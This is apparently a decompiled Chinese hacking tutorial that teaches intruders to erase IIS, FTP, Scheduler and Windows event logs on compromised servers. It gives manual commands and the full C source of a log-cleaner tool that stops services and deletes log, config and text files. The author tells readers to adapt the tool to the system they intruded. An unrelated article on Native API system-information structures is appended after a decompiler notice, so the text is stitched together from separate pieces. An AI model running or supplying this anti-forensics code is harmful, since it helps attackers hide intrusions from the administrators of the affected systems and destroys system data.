方法一:如有3389可以登录,那就用notepad打开，把Ctrl+A 然后del吧。
方法二:net 命令
C:\>net stop w3svc
World Wide Web Publishing Service
        服务正在停止.(可能会等很长的时间，也可能不成功)
World Wide Web Publishing Service 服务已成功停止。
好了w3svc停止了，我们可以清空它的日志了,del *.*吧
还有不要忘了再打开w3svc服务呀
C:\>net
        start w3svc
2.清除ftp日志。
FTP日志默认位置：%systemroot%\sys
        tem32\logfiles\msftpsvc1\，默认每天一个日志
清除方法同上
3.清除Scheduler日志
Scheduler服务日志默认位置：%systemroot%\schedlgu.txt
清除方法同上
4.应用程序日志、安全日志、系统日志、DNS日志默认位置：%systemroot%\sys tem32\config
清除方法同上

注意以上三个目录可能不在上面的位置，那是因为管理员做的修改
可以读取注册表值得到他们的位置
应用程序日志，安全日志，系统日志，DNS服务器日志，它们这些LOG文件在注册表中的：
HKEY_LOCAL_MACHINE\sys tem\CurrentControlSet\Services\Eventlog
Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent

5.我是借鉴了别人文章(其实就是抄了)
OK！恭喜，现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了，守护这些日志的服务是Event Log，试着停掉它！
D:\SERVER\sys tem32\LogFiles\W3SVC1>net stop eventlog
这项服务无法接受请求的 "暂停" 或 "停止" 操作。
KAO，I　服了
        U，没办法，它是关键服务。如果不用第三方工具，在命令行上根本没有删除安全日志和系统日志的可能！所以还是得用虽然简单但是速度慢得死机的办法：打开“控制面板”的“管理工具”中的“事件查看器”（98没有，知道用Win2k的好处了吧），在菜单的“操作”项有一个名为“连接到另一台计算机”的菜单，点击它如下图所示：

输入远程计算机的IP，然后点支烟，等上数十分钟，忍受象死机的折磨，然后打开下图：

选择远程计算机的安全性日志，右键选择它的属性：

点击属性里的“清除日志”按钮，OK！安全日志清除完毕！同样的忍受痛苦去清除系统日志！

6.上面大部分重要的日志你都已经清除了。然后要做的就是以防万一还有遗漏的了。
那就这样做吧
        del以下的一些文件
\winnt\*.log
system32下
\logfiles\*.*
\dtclog\*.*
\config\*.evt
\*.log
\*.txt

到目前为止，我所知的大部分的日志我们已经教会了你清除的方法,那你就学以致用吧。

其实这篇文章的主要日的，不是教你怎么清除日志，而是教你写一个日志清除的工具。
就当我前面说的都是屁话吧。

现在转入正题:
前面你已经看到了要清除全部的日志的过程，是不是很繁呀，手动可是要花不少时间。有时
候还不一定可以清除干净。那就于编程的朋友来说，那就会想，可以我会编程，我怕什么。
那我们就动手吧。

你已经了解了，要清除一些日志，首先要关闭一些服务程序
那我就先教你怎么写一个可以看机器的服务程序的dos小工具吧，具体实现看我以前的文章
《如果做一个dos下的服务程序查看器》
工具名serName.exe
运行一下serName.exe吧
serName.exe -t 1 -t 1
呵呵，所有的机器正在运行的服务程序显示出来了吧。
记住你要关的服务程序名吧，下面会有用的。

那编程的第二步就是实现关w3svc和shedule还有ftp等服务程序了。
我写的代码如下
对着msdn慢慢看吧。(不难的，有什么不懂不要来问我)

void StopServices(LPCTSTR
        lpServiceName)
{
SC_HANDLE scman =
        ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh =
        ::OpenService(scman,lpServiceName,SERVICE_STOP);
if(sh)
{
BOOL bControl;
SERVICE_STATUS ServiceStatus;
bControl=ControlService(sh,SERVICE_CONTROL_STOP,&ServiceStatus);
DWORD dwControl;
if(bControl)
{
printf("success to stop
        the service \"%s\"\n",lpServiceName);
}
else
{
dwControl=::GetLastError();
switch(dwControl){
case
        ERROR_ACCESS_DENIED :printf("The specified handle was not opened with
        the necessary access.\n");break;
case ERROR_SERVICE_NOT_ACTIVE
        :printf("The service has not been started.\n");break;
case
        ERROR_DEPENDENT_SERVICES_RUNNING :printf("The service cannot be stopped
        because other running services are dependent on it.\n");break;
case
        ERROR_INVALID_SERVICE_CONTROL:printf("The requested control code is not
        valid, or it is unacceptable to the service.\n");break;
case
        ERROR_SERVICE_CANNOT_ACCEPT_CTRL:printf("The requested control code
        cannot be sent to the service because the state of the service is
        SERVICE_STOPPED, SERVICE_START_PENDING, or
        SERVICE_STOP_PENDING.\n");break;
case
        ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the
        start request in a timely fashion.\n");break;
}
}

}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;

}

函数有了，那就写个main函数试试吧
void main()
{
StopServices("W3SVC");
return;
}

ok.成功了,如果没有成功，请参照输出的错误提示。
好了有了一个可以停止的服务程序的函数，

那我们还需要一个可以开启服务程序的函数
其实以上的看懂了，下面的代码只是对上面的代码的一些小变动。

void StartServices(LPCTSTR lpServiceName)
{
SC_HANDLE scman =
        ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh =
        ::OpenService(scman,lpServiceName,SERVICE_START);
if(sh)
{
BOOL bControl;
bControl=StartService(sh,1,&lpServiceName);
DWORD dwControl;
if(bControl)
{
printf("success to start
        the service \"%s\"\n",lpServiceName);
}
else
{
dwControl=::GetLastError();
switch(dwControl){
case
        ERROR_ACCESS_DENIED :printf("The specified handle was not opened with
        SERVICE_START access.\n");break;
case ERROR_INVALID_HANDLE
        :printf("The specified handle is invalid.\n");break;
case
        ERROR_PATH_NOT_FOUND :printf("The service binary file could not be
        found.\n");break;
case ERROR_SERVICE_ALREADY_RUNNING:printf("An
        instance of the service is already running.\n");break;
case
        ERROR_SERVICE_DATABASE_LOCKED:printf("The database is locked.\n");break;
case ERROR_SERVICE_DEPENDENCY_DELETED:printf("The service depends on
        a service that does not exist or has been marked for
        deletion.\n");break;
case ERROR_SERVICE_DEPENDENCY_FAIL:printf("The
        service depends on another service that has failed to start.\n");break;
case ERROR_SERVICE_DISABLED:printf("The service has been
        disabled.\n");break;
case ERROR_SERVICE_LOGON_FAILED:printf("The
        service could not be logged on.\n");break;
case
        ERROR_SERVICE_MARKED_FOR_DELETE:printf("The service has been marked for
        deletion.\n");break;
case ERROR_SERVICE_NO_THREAD:printf("A thread
        could not be created for the service.\n");break;
case
        ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the
        start request in a timely fashion.\n");break;
}
}

}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;

}

呵呵，只是一些小变动。
现在你已经有了这两样武器，那下面的就是动用上面第一部分的一些知识，去del文件了，我想不用我教，你也一定想到怎么做了吧。

现在那再教第三个武器吧，虽然他对我们的程序可有可无，但对一个漂亮的程序他却是必需的，那就是一个判断服务程序状态的函数。

我的代码如下。

DWORD GetServicesState(LPCTSTR
        lpServiceName)
{
DWORD dwState;
SC_HANDLE scman =
        ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh =
        ::OpenService(scman,lpServiceName,SERVICE_QUERY_STATUS);
if(sh)
{
BOOL bQuery;
SERVICE_STATUS ServiceStatus;
bQuery=QueryServiceStatus(sh,&ServiceStatus);
if(!bQuery)
{
DWORD dwControl;
dwControl=::GetLastError();
switch(dwControl){
case ERROR_ACCESS_DENIED :printf("The
        specified handle was not opened with SERVICE_QUERY_STATUS
        access.\n");break;
case ERROR_INVALID_HANDLE :printf("The specified
        handle is invalid.\n");break;
}
dwState=0;
}
else
{
dwState=ServiceStatus.dwCurrentState;

}

}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return dwState;

}

好了现在什么都有了，那就把代码完成吧。
其他代码如下。希望你在运行前安照你入侵的系统的具体情况修改一下源代码。

//==========================================================//
// 绿兵日志Cleaner1.0 //
// Compiled by http://www.vertarmy.com 绿色兵团 //
// http://vcghost.yeah.net
        编の魂(tryibest) //
// tjhacker@163.com //
// //
//==========================================================//
#include "windows.h"
#include "stdio.h"

void
        StopServices(LPCTSTR lpServiceName);
void StartServices(LPCTSTR
        lpServiceName);
DWORD GetServicesState(LPCTSTR lpServiceName);
void DelFiles(LPCTSTR lpFileName,LPCTSTR lpDirectory);
void
        Del3WFile();
void DelFtpFile();
void DelSheduleFile();
void
        DelOtherFile();
void ShowTitle();
void main(int argc, char
        *argv[])
{
ShowTitle();
DelOtherFile();
Del3WFile();
DelFtpFile();
DelSheduleFile();
ShowTitle();
return;
}

void StopServices(LPCTSTR lpServiceName)
{
SC_HANDLE scman =
        ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh =
        ::OpenService(scman,lpServiceName,SERVICE_STOP);
if(sh)
{
BOOL bControl;
SERVICE_STATUS ServiceStatus;
bControl=ControlService(sh,SERVICE_CONTROL_STOP,&ServiceStatus);
DWORD dwControl;
if(bControl)
{
printf("success to stop
        the service \"%s\"\n",lpServiceName);
}
else
{
dwControl=::GetLastError();
switch(dwControl){
case
        ERROR_ACCESS_DENIED :printf("The specified handle was not opened with
        the necessary access.\n");break;
case ERROR_SERVICE_NOT_ACTIVE
        :printf("The service has not been started.\n");break;
case
        ERROR_DEPENDENT_SERVICES_RUNNING :printf("The service cannot be stopped
        because other running services are dependent on it.\n");break;
case
        ERROR_INVALID_SERVICE_CONTROL:printf("The requested control code is not
        valid, or it is unacceptable to the service.\n");break;
case
        ERROR_SERVICE_CANNOT_ACCEPT_CTRL:printf("The requested control code
        cannot be sent to the service because the state of the service is
        SERVICE_STOPPED, SERVICE_START_PENDING, or
        SERVICE_STOP_PENDING.\n");break;
case
        ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the
        start request in a timely fashion.\n");break;
}
}

}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;

}

void StartServices(LPCTSTR lpServiceName)
{
SC_HANDLE scman =
        ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh =
        ::OpenService(scman,lpServiceName,SERVICE_START);
if(sh)
{
BOOL bControl;
bControl=StartService(sh,1,&lpServiceName);
DWORD dwControl;
if(bControl)
{
printf("success to start
        the service \"%s\"\n",lpServiceName);
}
else
{
dwControl=::GetLastError();
switch(dwControl){
case
        ERROR_ACCESS_DENIED :printf("The specified handle was not opened with
        SERVICE_START access.\n");break;
case ERROR_INVALID_HANDLE
        :printf("The specified handle is invalid.\n");break;
case
        ERROR_PATH_NOT_FOUND :printf("The service binary file could not be
        found.\n");break;
case ERROR_SERVICE_ALREADY_RUNNING:printf("An
        instance of the service is already running.\n");break;
case
        ERROR_SERVICE_DATABASE_LOCKED:printf("The database is locked.\n");break;
case ERROR_SERVICE_DEPENDENCY_DELETED:printf("The service depends on
        a service that does not exist or has been marked for
        deletion.\n");break;
case ERROR_SERVICE_DEPENDENCY_FAIL:printf("The
        service depends on another service that has failed to start.\n");break;
case ERROR_SERVICE_DISABLED:printf("The service has been
        disabled.\n");break;
case ERROR_SERVICE_LOGON_FAILED:printf("The
        service could not be logged on.\n");break;
case
        ERROR_SERVICE_MARKED_FOR_DELETE:printf("The service has been marked for
        deletion.\n");break;
case ERROR_SERVICE_NO_THREAD:printf("A thread
        could not be created for the service.\n");break;
case
        ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the
        start request in a timely fashion.\n");break;
}
}

}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;

}

DWORD GetServicesState(LPCTSTR lpServiceName)
{
DWORD dwState;
SC_HANDLE scman =
        ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh =
        ::OpenService(scman,lpServiceName,SERVICE_QUERY_STATUS);
if(sh)
{
BOOL bQuery;
SERVICE_STATUS ServiceStatus;
bQuery=QueryServiceStatus(sh,&ServiceStatus);
if(!bQuery)
{
DWORD dwControl;
dwControl=::GetLastError();
switch(dwControl){
case ERROR_ACCESS_DENIED :printf("The
        specified handle was not opened with SERVICE_QUERY_STATUS
        access.\n");break;
case ERROR_INVALID_HANDLE :printf("The specified
        handle is invalid.\n");break;
}
dwState=0;
}
else
{
dwState=ServiceStatus.dwCurrentState;

}

}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return dwState;

}

void DelFiles(LPCTSTR lpFileName,LPCTSTR lpDirectory)
{
TCHAR tcFileName[1024];
HANDLE hFile;
WIN32_FIND_DATA
        FindFileData;
hFile=FindFirstFile(lpFileName,&FindFileData);
if(hFile!=INVALID_HANDLE_VALUE)
{

while(1)
{
lstrcpy(tcFileName,lpDirectory);
lstrcat(tcFileName,FindFileData.cFileName);
BOOL
        dDel=DeleteFile(tcFileName);
if(dDel)
{
printf("delete file
        \"%s\" success\n",tcFileName);
}
else
{
printf("delte
        file \"%s\" fail\n",tcFileName);
}
if(!FindNextFile(hFile,&FindFileData))
{

break;
}
}

}
FindClose(hFile);

}

void Del3WFile()
{
TCHAR
        tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR
        tc3WDirectory[1024];
TCHAR tc3WFile[1024];
lstrcpy(tc3WDirectory,tcSystemDirectory);
lstrcpy(tc3WFile,tcSystemDirectory);
lstrcat(tc3WFile,"\\logfiles\\w3svc1\\*.log");
lstrcat(tc3WDirectory,"\\logfiles\\w3svc1\\");
DWORD
        dwState;
dwState=GetServicesState("w3svc");
if(dwState==SERVICE_RUNNING)
{
StopServices("w3svc");
::Sleep(1000);
DelFiles(tc3WFile,tc3WDirectory);
::Sleep(1000);//应该考虑用线程
StartServices("w3svc");

}
else
{
DelFiles(tc3WFile,tc3WDirectory);
}
}

void DelFtpFile()
{
TCHAR tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR
        tcFtpDirectory[1024];
TCHAR tcFtpFile[1024];
lstrcpy(tcFtpDirectory,tcSystemDirectory);
lstrcpy(tcFtpFile,tcSystemDirectory);
lstrcat(tcFtpFile,"\\logfiles\\msftpsvc1\\*.log");
lstrcat(tcFtpDirectory,"\\logfiles\\msftpsvc1\\");
DWORD dwState;
dwState=GetServicesState("msftpsvc");
if(dwState==SERVICE_RUNNING)
{
StopServices("msftpsvc");
::Sleep(1000);
DelFiles(tcFtpFile,tcFtpDirectory);
::Sleep(1000);//应该考虑用线程
StartServices("msftpsvc");

}
else
{
DelFiles(tcFtpFile,tcFtpDirectory);
}

}

void DelSheduleFile()
{
TCHAR tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR
        tcScheduleFile[1024];
lstrcpy(tcScheduleFile,tcSystemDirectory);
int iLength=lstrlen(tcScheduleFile);
while(1)
{
iLength--;

if(tcScheduleFile[iLength]=='\\')
break;
}
tcScheduleFile[iLength]='\0';
lstrcat(tcScheduleFile,"\\SchedLgU.txt");
DWORD dwState;
dwState=GetServicesState("schedule");
if(dwState==SERVICE_RUNNING)
{
StopServices("schedule");
::Sleep(1000);
BOOL dDel=DeleteFile(tcScheduleFile);
if(dDel)
{
printf("delete file \"%s\"
        success\n",tcScheduleFile);
}
else
{
printf("delte file
        \"%s\" fail\n",tcScheduleFile);
}
//
        DelFiles(tcScheduleFile,tcScheduleDirectory);
::Sleep(1000);//应该考虑用线程
StartServices("schedule");

}
else
{
BOOL dDel=DeleteFile(tcScheduleFile);
if(dDel)
{
printf("delete file \"%s\"
        success\n",tcScheduleFile);
}
else
{
printf("delte file
        \"%s\" fail\n",tcScheduleFile);
}
//
        DelFiles(tcScheduleFile,tcScheduleDirectory);
}
}

void DelOtherFile()
{
TCHAR
        tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR
        tcOtherFile[1024];
TCHAR tcOtherDirectory[1024];
//删除logfiles下全部文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"\\logfiles\\*.*");
lstrcat(tcOtherDirectory,"\\logfiles\\");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除dtclog下全部文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"\\dtclog\\*.*");
lstrcat(tcOtherDirectory,"\\dtclog\\");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除config下全部文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"\\config\\*.*");
lstrcat(tcOtherDirectory,"\\config\\");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除system32下全部log文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"\\*.log");
lstrcat(tcOtherDirectory,"\\");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除system32下全部的txt文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"\\*.txt");
lstrcat(tcOtherDirectory,"\\");
DelFiles(tcOtherFile,tcOtherDirectory);
//得到\winnt\目录路径
TCHAR tcWinDirectory[1024];
lstrcpy(tcWinDirectory,tcSystemDirectory);
int
        iLength=lstrlen(tcWinDirectory);
while(1)
{
iLength--;

if(tcWinDirectory[iLength]=='\\')
break;
}
tcWinDirectory[iLength]='\0';
//删除\winnt\*.log
lstrcpy(tcOtherFile,tcWinDirectory);
lstrcpy(tcOtherDirectory,tcWinDirectory);
lstrcat(tcOtherFile,"\\*.log");
lstrcat(tcOtherDirectory,"\\");
DelFiles(tcOtherFile,tcOtherDirectory);

//删除\winnt\*.txt
lstrcpy(tcOtherFile,tcWinDirectory);
lstrcpy(tcOtherDirectory,tcWinDirectory);
lstrcat(tcOtherFile,"\\*.txt");
lstrcat(tcOtherDirectory,"\\");
DelFiles(tcOtherFile,tcOtherDirectory);

}

void ShowTitle()
{
printf("===========================================================\n");
printf("$ 绿兵日志Cleaner1.0 $\n");
printf("$ Compiled by http://www.vertarmy.com 绿色兵团 $\n");
printf("$ http://vcghost.yeah.net 编の魂(tryibest)
        $\n");
printf("$ tjhacker@163.com $\n");
printf("===========================================================\n");

}

This file is
        decompiled by an unregistered version of ChmDecompiler.
Regsitered
        version does not show this message.
You can download ChmDecompiler
        at : http://www.zipghost.com/


得到winnt本机系统信息
Native API乃Windows用户模式中为上层Win32 API提供接口的本机系统服务。平常我们总是调用MS为我们提供的公用的Win32 API函数来实现来实现我们系统的功能。（PS：前不久，偶写了一个Windows任务管理器，支持对桌面，进程/线程，系统性能，磁盘，环境变量，事件日志，网络，设备驱动，Win32服务，共享，用户，系统及关机等信息的探测和控制，完全基于Win32 API，大家可以到我们的主页下载）。今天我们要谈的是如何通过本机系统服务(Native API）来探测本机系统信息。当然，微软没有为我们提供关于本机系统服务的文档(Undocumented)，也就是不会为对它的使用提供任何的保证，所以我们不提倡使用Native API来开发软件。不过在特殊情况下，本机系统服务却为我们提供了通向“秘密”的捷径。本文提到的信息仅在Windows2000/XP/2003上测试过。
今天，我们主要讨论的是一个函数NtQuerySystemInformation(ZwQuerySystemInformation)。当然，你不要小看这么一个函数，它却为我们提供了丰富的系统信息，同时还包括对某些信息的控制和设置。以下是这个函数的原型：
typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
从中可以看到，SystemInformationClass是一个类型信息，它大概提供了50余种信息，也就是我们可以通过这个函数对大约50多种的系统信息进行探测或设置。SystemInformation是一个LPVOID型的指针，它为我们提供需要获得的信息，或是我们需要设置的系统信息。SystemInformationLength是SystemInformation的长度，它根据探测的信息类型来决定。至于ReturnLength则是系统返回的需要的长度，通常可以设置为空指针(NULL)。
首先，我们来看看大家比较熟悉的系统进程/线程相关的信息。这个题目在网上已经讨论了N多年了，所以我就不在老生常谈了，呵呵。那么就提出这个结构类型的定义：
        typedef struct
        _SYSTEM_PROCESSES
{
ULONG
        NextEntryDelta;
        //构成结构序列的偏移量；
ULONG
        ThreadCount;
        //线程数目；
ULONG
        Reserved1[6];
LARGE_INTEGER
        CreateTime;
        //创建时间；
LARGE_INTEGER
        UserTime;
        //用户模式(Ring 3)的CPU时间；
LARGE_INTEGER
        KernelTime;
        //内核模式(Ring 0)的CPU时间；
UNICODE_STRING
        ProcessName;
        //进程名称；
KPRIORITY
        BasePriority;
        //进程优先权；
ULONG
        ProcessId;
        //进程标识符；
ULONG
        InheritedFromProcessId;
        //父进程的标识符；
ULONG
        HandleCount;
        //句柄数目；
ULONG
        Reserved2[2];
VM_COUNTERS
        VmCounters;
        //虚拟存储器的结构，见下；
IO_COUNTERS
        IoCounters;
        //IO计数结构，见下；
SYSTEM_THREADS
        Threads[1];
        //进程相关线程的结构数组，见下；
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
typedef struct
        _SYSTEM_THREADS
{
LARGE_INTEGER
        KernelTime;
        //CPU内核模式使用时间；
LARGE_INTEGER
        UserTime;
        //CPU用户模式使用时间；
LARGE_INTEGER
        CreateTime;
        //线程创建时间；
ULONG
        WaitTime;
        //等待时间；
PVOID
        StartAddress;
        //线程开始的虚拟地址；
CLIENT_ID
        ClientId;
        //线程标识符；
KPRIORITY
        Priority;
        //线程优先级；
KPRIORITY
        BasePriority;
        //基本优先级；
ULONG
        ContextSwitchCount;
        //环境切换数目；
THREAD_STATE
        State;
        //当前状态；
KWAIT_REASON
        WaitReason;
        //等待原因；
}SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _VM_COUNTERS
{
ULONG
        PeakVirtualSize;
        //虚拟存储峰值大小；
ULONG
        VirtualSize;
        //虚拟存储大小；
ULONG
        PageFaultCount;
        //页故障数目；
ULONG
        PeakWorkingSetSize;
        //工作集峰值大小；
ULONG
        WorkingSetSize;
        //工作集大小；
ULONG
        QuotaPeakPagedPoolUsage;
        //分页池使用配额峰值；
ULONG
        QuotaPagedPoolUsage;
        //分页池使用配额；
ULONG
        QuotaPeakNonPagedPoolUsage;
        //非分页池使用配额峰值；
ULONG
        QuotaNonPagedPoolUsage;
        //非分页池使用配额；
ULONG
        PagefileUsage;
        //页文件使用情况；
ULONG
        PeakPagefileUsage;
        //页文件使用峰值；
}VM_COUNTERS,*PVM_COUNTERS;
typedef struct
        _IO_COUNTERS
{
LARGE_INTEGER
        ReadOperationCount;
        //I/O读操作数目；
LARGE_INTEGER
        WriteOperationCount;
        //I/O写操作数目；
LARGE_INTEGER
        OtherOperationCount;
        //I/O其他操作数目；
LARGE_INTEGER
        ReadTransferCount;
        //I/O读数据数目；
LARGE_INTEGER
        WriteTransferCount;
        //I/O写数据数目；
LARGE_INTEGER
        OtherTransferCount;
        //I/O其他操作数据数目；
}IO_COUNTERS,*PIO_COUNTERS;
以上这些信息应该是比较全面的了，在Win32 API里为我们提供了PSAPI(进程状态)和ToolHelp32这两种探测系统进程/线程信息的方式，在Windows2K/XP/2003都支持它们。
现在，我们来看看系统的性能信息，性能结构SYSTEM_PERFORMANCE_INFORMATION为我们提供了70余种系统性能方面的信息，真是太丰富了，请慢慢体会~
typedef struct _SYSTEM_PERFORMANCE_INFORMATION
{
LARGE_INTEGER IdleTime; //CPU空闲时间；
LARGE_INTEGER ReadTransferCount; //I/O读操作数目；
LARGE_INTEGER WriteTransferCount; //I/O写操作数目；
LARGE_INTEGER OtherTransferCount; //I/O其他操作数目；
ULONG ReadOperationCount; //I/O读数据数目；
ULONG WriteOperationCount; //I/O写数据数目；
ULONG OtherOperationCount; //I/O其他操作数据数目；
ULONG AvailablePages; //可获得的页数目；
ULONG TotalCommittedPages; //总共提交页数目；
ULONG TotalCommitLimit; //已提交页数目；
ULONG PeakCommitment; //页提交峰值；
ULONG PageFaults; //页故障数目；
ULONG WriteCopyFaults; //Copy-On-Write故障数目；
ULONG TransitionFaults; //软页故障数目；
ULONG Reserved1;
ULONG DemandZeroFaults; //需求0故障数；
ULONG PagesRead; //读页数目；
ULONG PageReadIos; //读页I/O操作数；
ULONG Reserved2[2];
ULONG PagefilePagesWritten; //已写页文件页数；
ULONG PagefilePageWriteIos; //已写页文件操作数；
ULONG MappedFilePagesWritten; //已写映射文件页数；
ULONG MappedFileWriteIos; //已写映射文件操作数；
ULONG PagedPoolUsage; //分页池使用；
ULONG NonPagedPoolUsage; //非分页池使用；
ULONG PagedPoolAllocs; //分页池分配情况；
ULONG PagedPoolFrees; //分页池释放情况；
ULONG NonPagedPoolAllocs; //非分页池分配情况；
ULONG NonPagedPoolFress; //非分页池释放情况；
ULONG TotalFreeSystemPtes; //系统页表项释放总数；
ULONG SystemCodePage; //操作系统代码页数；
ULONG TotalSystemDriverPages; //可分页驱动程序页数；
ULONG TotalSystemCodePages; //操作系统代码页总数；
ULONG SmallNonPagedLookasideListAllocateHits; //小非分页侧视列表分配次数；
ULONG SmallPagedLookasideListAllocateHits; //小分页侧视列表分配次数；
ULONG Reserved3;
ULONG MmSystemCachePage; //系统缓存页数；
ULONG PagedPoolPage; //分页池页数；
ULONG SystemDriverPage; //可分页驱动页数；
ULONG FastReadNoWait; //异步快速读数目；
ULONG FastReadWait; //同步快速读数目；
ULONG FastReadResourceMiss; //快速读资源冲突数；
ULONG FastReadNotPossible; //快速读失败数；
ULONG FastMdlReadNoWait; //异步MDL快速读数目；
ULONG FastMdlReadWait; //同步MDL快速读数目；
ULONG FastMdlReadResourceMiss; //MDL读资源冲突数；
ULONG FastMdlReadNotPossible; //MDL读失败数；
ULONG MapDataNoWait; //异步映射数据次数；
ULONG MapDataWait; //同步映射数据次数；
ULONG MapDataNoWaitMiss; //异步映射数据冲突次数；
ULONG MapDataWaitMiss; //同步映射数据冲突次数；
ULONG PinMappedDataCount; //牵制映射数据数目；
ULONG PinReadNoWait; //牵制异步读数目；
ULONG PinReadWait; //牵制同步读数目；
ULONG PinReadNoWaitMiss; //牵制异步读冲突数目；
ULONG PinReadWaitMiss; //牵制同步读冲突数目；
ULONG CopyReadNoWait; //异步拷贝读次数；
ULONG CopyReadWait; //同步拷贝读次数；
ULONG CopyReadNoWaitMiss; //异步拷贝读故障次数；
ULONG CopyReadWaitMiss; //同步拷贝读故障次数；
ULONG MdlReadNoWait; //异步MDL读次数；
ULONG MdlReadWait; //同步MDL读次数；
ULONG MdlReadNoWaitMiss; //异步MDL读故障次数；
 ULONG
        MdlReadWaitMiss;
        //同步MDL读故障次数；
ULONG
        ReadAheadIos;
        //向前读操作数目；
ULONG
        LazyWriteIos;
        //LAZY写操作数目；
ULONG
        LazyWritePages;
        //LAZY写页文件数目；
ULONG
        DataFlushes;
        //缓存刷新次数；
ULONG
        DataPages;
        //缓存刷新页数；
ULONG
        ContextSwitches;
        //环境切换数目；
ULONG
        FirstLevelTbFills;
        //第一层缓冲区填充次数；
ULONG
        SecondLevelTbFills;
        //第二层缓冲区填充次数；
ULONG
        SystemCall;
        //系统调用次数；
}SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION;
现在看到的是结构SYSTEM_PROCESSOR_TIMES提供的系统处理器的使用情况，包括各种情况下的使用时间及中断数目：typedef
        struct __SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER
        IdleTime;
        //空闲时间；
LARGE_INTEGER
        KernelTime;
        //内核模式时间；
LARGE_INTEGER
        UserTime;
        //用户模式时间；
LARGE_INTEGER
        DpcTime;
        //延迟过程调用时间；
LARGE_INTEGER
        InterruptTime;
        //中断时间；
ULONG
        InterruptCount;
        //中断次数；
}SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES;
页文件的使用情况，SYSTEM_PAGEFILE_INFORMATION提供了所需的相关信息：typedef
        struct _SYSTEM_PAGEFILE_INFORMATION
{
ULONG
        NetxEntryOffset;
        //下一个结构的偏移量；
ULONG
        CurrentSize;
        //当前页文件大小；
ULONG
        TotalUsed;
        //当前使用的页文件数；
ULONG
        PeakUsed;
        //当前使用的页文件峰值数；
UNICODE_STRING
        FileName;
        //页文件的文件名称；
}SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION;
系统高速缓存的使用情况参见结构SYSTEM_CACHE_INFORMATION提供的信息：typedef struct _SYSTEM_CACHE_INFORMATION
{
ULONG SystemCacheWsSize; //高速缓存大小；
ULONG SystemCacheWsPeakSize; //高速缓存峰值大小；
ULONG SystemCacheWsFaults; //高速缓存页故障数目；
ULONG SystemCacheWsMinimum; //高速缓存最小页大小；
ULONG SystemCacheWsMaximum; //高速缓存最大页大小；
ULONG TransitionSharedPages; //共享页数目；
ULONG TransitionSharedPagesPeak; //共享页峰值数目；
ULONG Reserved[2];
}SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION;
附录：(所有完整源代码，您可以到我们FZ5FZ的主页下载)。
1.T-PMList的头文件源代码：#ifndef T_PMLIST_H
#define T_PMLIST_H
#include <windows.h>
#include <stdio.h>
#define NT_PROCESSTHREAD_INFO 0x05
#define MAX_INFO_BUF_LEN 0x500000
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}LSA_UNICODE_STRING,*PLSA_UNICODE_STRING;
typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;
typedef struct _CLIENT_ID
{
HANDLE
        UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID;
typedef
        CLIENT_ID *PCLIENT_ID;
